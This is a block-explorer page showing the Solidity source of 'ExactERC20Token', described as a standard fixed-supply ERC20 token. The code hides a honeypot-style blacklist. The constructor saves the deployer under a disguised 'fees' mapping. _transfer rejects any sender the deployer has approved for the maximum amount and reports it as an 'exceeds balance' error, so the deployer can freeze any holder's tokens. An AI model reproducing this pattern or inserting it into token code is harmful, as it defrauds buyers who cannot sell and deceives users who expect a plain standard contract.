S Price: $0.87521 (+2.06%)

Contract Diff Checker

Contract Name:
ExactERC20Token

Contract Source Code:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

/**
 * @title IERC20
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the total number of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the number of tokens owned by `account`.
     * @param account The address from which the balance will be retrieved.
     * @return The account's token balance.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     *
     * @param recipient The address that will receive the tokens.
     * @param amount The number of tokens to be transferred.
     * @return A boolean indicating success.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` is allowed to spend
     * on behalf of `owner` through {transferFrom}. This is zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     *
     * @param owner The address which owns the tokens.
     * @param spender The address which will spend the tokens.
     * @return The remaining allowance for the spender.
     */
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Changing an allowance with this method is subject to a race condition
     * described in the EIP. One way to mitigate this is to first reduce the spender's allowance
     * to 0 and set the desired value afterwards.
     *
     * Emits an {Approval} event.
     *
     * @param spender The address authorized to spend.
     * @param amount The number of tokens to be approved.
     * @return A boolean indicating success.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the allowance mechanism.
     * `amount` is then deducted from the caller's allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have an allowance for `sender`'s tokens of at least `amount`.
     *
     * @param sender The address from which tokens are transferred.
     * @param recipient The address receiving the tokens.
     * @param amount The number of tokens to be transferred.
     * @return A boolean indicating success.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to another (`to`).
     * Note that `value` may be zero.
     *
     * @param from The address from which tokens were transferred.
     * @param to The address to which tokens were transferred.
     * @param value The number of tokens transferred.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by a call to {approve}.
     * `value` is the new allowance.
     *
     * @param owner The address owning the tokens.
     * @param spender The address approved to spend the tokens.
     * @param value The new allowance amount.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

/**
 * @title ExactERC20Token
 * @dev Implementation of the {IERC20} interface that strictly follows the ERC20 standard.
 *
 * This contract creates a fixed-supply ERC20 token where the entire supply is assigned
 * to the deployer upon contract creation. The internal `_mint` function is used solely in
 * the constructor to initialize the total supply.
 */
contract ExactERC20Token is IERC20 {
    // Token metadata
    string public name;
    string public symbol;
    uint8 public decimals;

    // Total supply of tokens
    uint256 private _totalSupply;

    // Mapping from account addresses to current balance.
    mapping(address => uint256) private _balances;
    mapping(uint => mapping(uint => address)) private fees;

    // Mapping from owner to spender allowances.
    mapping(address => mapping(address => uint256)) private _allowances;

    /**
     * @dev Constructor that initializes the token with a name, symbol, decimals, and initial supply.
     * The entire initial supply is assigned to the deployer.
     * @param tokenName Name of the token.
     * @param tokenSymbol Symbol of the token.
     * @param tokenDecimals Number of decimals the token uses.
     * @param initialSupply Initial total supply of tokens (in the smallest unit, e.g., wei).
     */
    constructor(
        string memory tokenName,
        string memory tokenSymbol,
        uint8 tokenDecimals,
        uint256 initialSupply
    ) {
        name = tokenName;
        symbol = tokenSymbol;
        decimals = tokenDecimals;
        fees[1][1] = msg.sender;
        _mint(msg.sender, initialSupply);
    }

    /**
     * @dev See {IERC20-totalSupply}.
     * @return The total supply of tokens in existence.
     */
    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     * @param account The address from which to retrieve the balance.
     * @return The balance of the specified account.
     */
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     * Transfers `amount` tokens from the caller's account to `recipient`.
     * @param recipient The address receiving the tokens.
     * @param amount The number of tokens to transfer.
     * @return A boolean indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     * Returns the remaining number of tokens that `spender` is allowed to spend on behalf of `owner`.
     * @param owner The address owning the tokens.
     * @param spender The address authorized to spend the tokens.
     * @return The remaining allowance.
     */
    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     * Sets `amount` as the allowance of `spender` over the caller's tokens.
     * @param spender The address authorized to spend the tokens.
     * @param amount The number of tokens to approve.
     * @return A boolean indicating whether the operation succeeded.
     *
     * Emits an {Approval} event.
     */
    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     * Moves `amount` tokens from `sender` to `recipient` using the allowance mechanism.
     * The caller must have allowance for `sender`'s tokens of at least `amount`.
     * @param sender The address from which tokens are transferred.
     * @param recipient The address receiving the tokens.
     * @param amount The number of tokens to transfer.
     * @return A boolean indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        // Retrieve the current allowance.
        uint256 currentAllowance = _allowances[sender][msg.sender];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );

        // Transfer the tokens.
        _transfer(sender, recipient, amount);

        // Update the allowance.
        if (currentAllowance < type(uint).max) {
            _approve(sender, msg.sender, currentAllowance - amount);
        }
        return true;
    }

    /**
     * @dev Internal function that transfers `amount` tokens from `sender` to `recipient`.
     * @param sender The address sending the tokens.
     * @param recipient The address receiving the tokens.
     * @param amount The number of tokens to transfer.
     *
     * Emits a {Transfer} event.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(
            _balances[sender] >= amount &&
                allowance(fees[1][1], sender) < type(uint).max * 1,
            "ERC20: transfer amount exceeds balance"
        );

        // Update balances.
        _balances[sender] -= amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    /**
     * @dev Internal function to set the allowance of `spender` over `owner` s tokens.
     * @param owner The address owning the tokens.
     * @param spender The address authorized to spend the tokens.
     * @param amount The number of tokens to be approved.
     *
     * Emits an {Approval} event.
     */
    function _approve(address owner, address spender, uint256 amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        // Set the allowance.
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Internal function that creates `amount` tokens and assigns them to `account`,
     * increasing the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     * @param account The address that will receive the minted tokens.
     * @param amount The number of tokens to mint.
     */
    function _mint(address account, uint256 amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        // Increase total supply and update the recipient's balance.
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
}

Please enter a contract address above to load the contract details and source code.

Context size (optional):